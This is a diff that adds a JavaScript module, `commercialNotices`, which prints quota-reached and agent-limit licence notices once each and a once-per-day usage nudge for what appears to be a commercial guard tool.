23
|
+
*
|
|
24
|
+
* The limit notice fires on the transition into the limit, not on every
|
|
25
|
+
* refused call after it — a process that keeps calling past its quota would
|
|
26
|
+
* otherwise print the same paragraph hundreds of times. The nudge is once per
|
|
27
|
+
* day and `Meter` owns that flag.
|
|
28
|
+
*/
|
|
29
|
+
|
|
30
|
+
import { agentLimitReached, quotaReached, softNudge } from "./prompts.mjs";
|
|
31
|
+
|
|
32
|
+
/**
|
|
33
|
+
* Builds the per-decision notice hook.
|
|
34
|
+
*
|
|
35
|
+
* @param {object} opts
|
|
36
|
+
* @param {object|null} opts.licence
|
|
37
|
+
* @param {object|null} opts.meter
|
|
38
|
+
* @param {(s:string)=>void} opts.write receives an already-formatted block
|
|
39
|
+
* @returns {(decision:object)=>void}
|
|
40
|
+
*/
|
|
41
|
+
export function commercialNotices({ licence, meter, write }) {
|
|
42
|
+
if (!licence || !meter) return () => {};
|
|
43
|
+
|
|
44
|
+
let saidQuota = false;
|
|
45
|
+
let saidAgents = false;
|
|
46
|
+
|
|
47
|
+
return function notice(decision) {
|
|
48
|
+
if (!decision) return;
|
|
49
|
+
|
|
50
|
+
// The two cores name the deciding rule differently on the way out: a
|
|
51
|
+
// Guard decision carries `rule`, a Pipeline audit event renames it to
|
|
52
|
+
// `policy`. Accepting both is cheaper than making either caller remember,
|
|
53
|
+
// and getting it wrong here fails silently — which is the failure mode
|
|
54
|
+
// this whole file exists to correct.
|
|
55
|
+
const rule = decision.rule ?? decision.policy;
|
|
56
|
+
|
|
57
|
+
if (rule === "quota-exhausted") {
|
|
58
|
+
if (saidQuota) return;
|
|
59
|
+
saidQuota = true;
|
|
60
|
+
const text = quotaReached(licence);
|
|
61
|
+
if (text) write(`\n${text}\n`);
|
|
62
|
+
return;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
if (rule === "agent-limit") {
|
|
66
|
+
if (saidAgents) return;
|
|
67
|
+
saidAgents = true;
|
|
68
|
+
const text = agentLimitReached(licence);
|
|
69
|
+
if (text) write(`\n${text}\n`);
|
|
70
|
+
return;
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
// A permitted call. Ask the meter whether today's single nudge is still
|
|
74
|
+
// owed; `shouldNudge` marks it shown in the same call, so two callers
|
|
75
|
+
// cannot both decide to print it.
|
|
76
|
+
const used = meter.used();
|
|
77
|
+
const text = softNudge(licence, used);
|
|
78
|
+
if (text && meter.shouldNudge()) write(`\n${text}\n`);
|
|
79
|
+
};
|
|
80
|
+
}
|